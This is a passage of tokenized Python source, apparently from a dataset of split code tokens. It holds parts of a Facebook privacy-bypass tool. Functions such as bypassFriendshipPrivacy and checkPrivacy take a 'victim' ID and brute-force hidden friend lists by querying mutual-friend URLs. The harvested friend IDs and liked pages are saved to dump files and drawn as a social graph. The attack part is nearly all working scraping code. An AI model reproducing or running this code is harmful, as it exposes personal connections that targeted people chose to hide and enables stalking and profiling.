"\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "friends_", "]_", "=_", "transiti", "vo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "col", "ecc", "ion_", "[_", "friends_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "edge_", "(_", "victim", "a_", ",_", "transiti", "vo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "write_", "(_", "str_", "(_", "friends_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "'", "object", "s", "'_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "=_", "nx_", "._", "adj", "\\u", "matrix_", "(_", "my", "Graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Objects_", "(_", "victim", "_", ",_", "A_", ",_", "col", "ecc", "ion_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nx_", "._", "draw", "\\u", "spring", "_", "(_", "my", "Graph_", ",_", "node", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "my", "Graph_", "._", "nodes_", "(_", ")_", ")_", ")_", ",_", "edge", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "my", "Graph_", "._", "edges_", "(_", ")_", ")_", ")_", ",_", "with", "\\u", "labels_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "pdf", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "png", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "dot_", "(_", "my", "Graph_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "dot", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bypass", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "los", "ude", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Al", "read", "y", " ", "visit", "ed", " ", "nodes", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "visited_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "alr", "ead", "y", " ", "exist", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Read", "s", " ", "every", " ", "line", " ", "of", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "friends", "hip", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "e", " ", "in", " ", "the", " ", "visit", "ed", " ", "array", " ", "for", " ", "non", " ", "repetition", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "doe", "s", " ", "not", " ", "exist", "s", ",", " ", "create", "s", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Generate", "s", " ", "the", " ", "first", " ", "level", " ", "of", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "\\\\", "r", "'_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "indiv", "id", "uo", "s_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "indiv", "id", "uo", "s_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "s_", "._", "append_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Counter", " ", "for", " ", "percentage", " ", "calcul", "us", " ", "purpose", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "every", " ", "value", " ", "in", " ", "the", " ", "first", " ", "discl", "ose", "d", " ", "list", ",", " ", "repeat", "s", " ", "unti", "l", " ", "every", " ", "value", " ", "has", " ", "bee", "n", " ", "try", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends", "hip", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "friends", "hip", "s_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "node", " ", "was", "n", "'", "t", " ", "visit", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friends_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "core", "Friends", "hip", "Priva", "cy", "()", " ", "fail", "s", ",", " ", "an", " ", "exception", " ", "is", " ", "cau", "ght", ".", " ", "There", "fore", ",", " ", "state", " ", "wis", " ", "still", " ", "bei", "ng", " ", "Tru", "e", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "try", " ", "pass", "es", ",", " ", "the", " ", "infini", "te", " ", "whi", "le", " ", "will", " ", "end", ".", " ", "(", "For", " ", "interne", "t", " ", "error", " ", "connecti", "on", " ", "problem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "state_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Signal", " ", "Cau", "ght", " ", "handler", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", "\\\\", "r", "'_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "element_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "not_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "friends", "hip", "s_", "._", "append_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "single", " ", "value", " ", "of", " ", "friends", "hip", "s", " ", "list", " ", "alr", "ed", "y", " ", "analyze", "d", " ", "for", " ", "non", " ", "repe", "titi", "vne", "ss_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Check", " ", "if", " ", "the", " ", "file", " ", "exist", "s", ",", " ", "if", " ", "true", " ", "append", ",", " ", "else", " ", "create", " ", "and", " ", "writes", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "user", "ID", " ", "for", " ", "fur", "ther", " ", "analy", "zi", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "._", "write_", "(_", "str_", "(_", "friends_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "core", "Page", "s", "Like_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "begin_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", "+_", "str_", "(_", "victim", "_", ")_", "+_", "'?", "and", "='_", "+_", "str_", "(_", "transiti", "ve_", ")_", "+_", "'&", "sk", "=", "favorites", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resultado_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "'", "timeline", "Friends", "Colum", "n", "Head", "er", "'_", ",_", "resultado_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "re_", "._", "search_", "(_", "'", "timeline", "Friends", "Colum", "n", "Head", "er", "(.+", ")'_", ",_", "resultado_", ")_", "._", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sho", "ul", "d", " ", "handle", " ", "a", " ", "custom", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sho", "ul", "d", " ", "handle", " ", "a", " ", "custom", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Error", " ", "connecti", "on", " ", "the", " ", "upper", " ", "function", " ", "will", " ", "catch", " ", "the", " ", "exception_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "=_", "re_", "._", "search_", "(_", "'", "fb", "Stream", "Time", "line", "Fav", "Info", "Containe", "r", "'_", ",_", "resultado_", "[_", "begin_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match", "End_", "=_", "re_", "._", "search_", "(_", "'\\\\", "n", "'_", ",_", "resultado_", "[_", "begin_", "+_", "match_", "._", "start_", "(_", ")_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match", "End_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match", "s_", "._", "append_", "(_", "resultado_", "[_", "begin_", "+_", "match_", "._", "start_", "(_", ")_", ":_", "match", "End_", "._", "end_", "(_", ")_", "+_", "begin_", "+_", "match_", "._", "start_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "begin_", "=_", "match", "End_", "._", "end_", "(_", ")_", "+_", "begin_", "+_", "match_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "End_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "linea_", "in_", "match", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sear", "ch", " ", "the", " ", "string", " ", "to", " ", "get", " ", "the", " ", "position", " ", "of", " ", "the", " ", "startin", "g", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match", "And_", "=_", "re_", "._", "search_", "(_", "'", "page", "\\\\.", "php", "\\\\?", "id", "='_", ",_", "linea_", "[_", "start_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Sear", "ch", " ", "the", " ", "end", " ", "of", " ", "the", " ", "match", " ", "for", " ", "tak", "ing", " ", "the", " ", "id", " ", "length_", "\\u\\u\\uNL\\u\\u\\u_", "match", "End_", "=_", "re_", "._", "search_", "(_", "'\">", "'_", ",_", "linea_", "[_", "start_", "+_", "match", "And_", "._", "end_", "(_", ")_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "we", " ", "have", " ", "a", " ", "start", " ", "and", " ", "an", " ", "end", ",", " ", "we", " ", "have", " ", "the", " ", "id", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "match", "And_", "and_", "match", "End_", ")_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Append", "s", " ", "the", " ", "value", " ", "give", "n", " ", "the", " ", "proper", " ", "position", " ", "(", "resolve", "d", " ", "a", " ", "few", " ", "lines", " ", "up", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "page_", "._", "append_", "(_", "linea_", "[_", "start_", "+_", "match", "And_", "._", "end_", "(_", ")_", ":_", "start_", "+_", "match", "End_", "._", "start_", "(_", ")_", "+_", "match", "And_", "._", "end_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Moves", " ", "the", " ", "point", "er", " ", "for", " ", "next", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "start_", "+=_", "match", "End_", "._", "start_", "(_", ")_", "+_", "match", "And_", "._", "end_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "page_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "Priva", "cy_", "(_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", "+_", "str_", "(_", "victim", "_", ")_", "+_", "'?", "sk", "=", "friends", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resultado_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "'", "All", " ", "Friends", "'_", ",_", "resultado_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "Bis", "_", "=_", "re_", "._", "search_", "(_", "'", "Todo", "s", " ", "los", " ", "ami", "gos", "'_", ",_", "resultado_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "Bis", "Bis", "_", "=_", "re_", "._", "search_", "(_", "'", "Todo", "s", " ", "mis", " ", "ami", "gos", "'_", ",_", "resultado_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "(_", "match_", "is_", "not_", "None_", ")_", "or_", "(_", "match", "Bis", "_", "is_", "not_", "None_", ")_", "or_", "(_", "match", "Bis", "Bis", "_", "is_", "not_", "None_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match", "Friends", "_", "=_", "re_", "._", "search_", "(_", "'\\u", "1", "qp", "6", "(.+", ")\"", "'_", ",_", "resultado_", ")_", "._", "group_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "match", "Friends", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Error", " ", "in", " ", "the", " ", "process", ",", " ", "brute", " ", "force", " ", "will", " ", "be", " ", "applied", " ", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "simple", "Graph_", "(_", "friends_", ",_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "ecc", "ion_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "str_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "directory_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "Graph_", "=_", "nx_", "._", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph", "Label", "ed_", "=_", "nx_", "._", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "col", 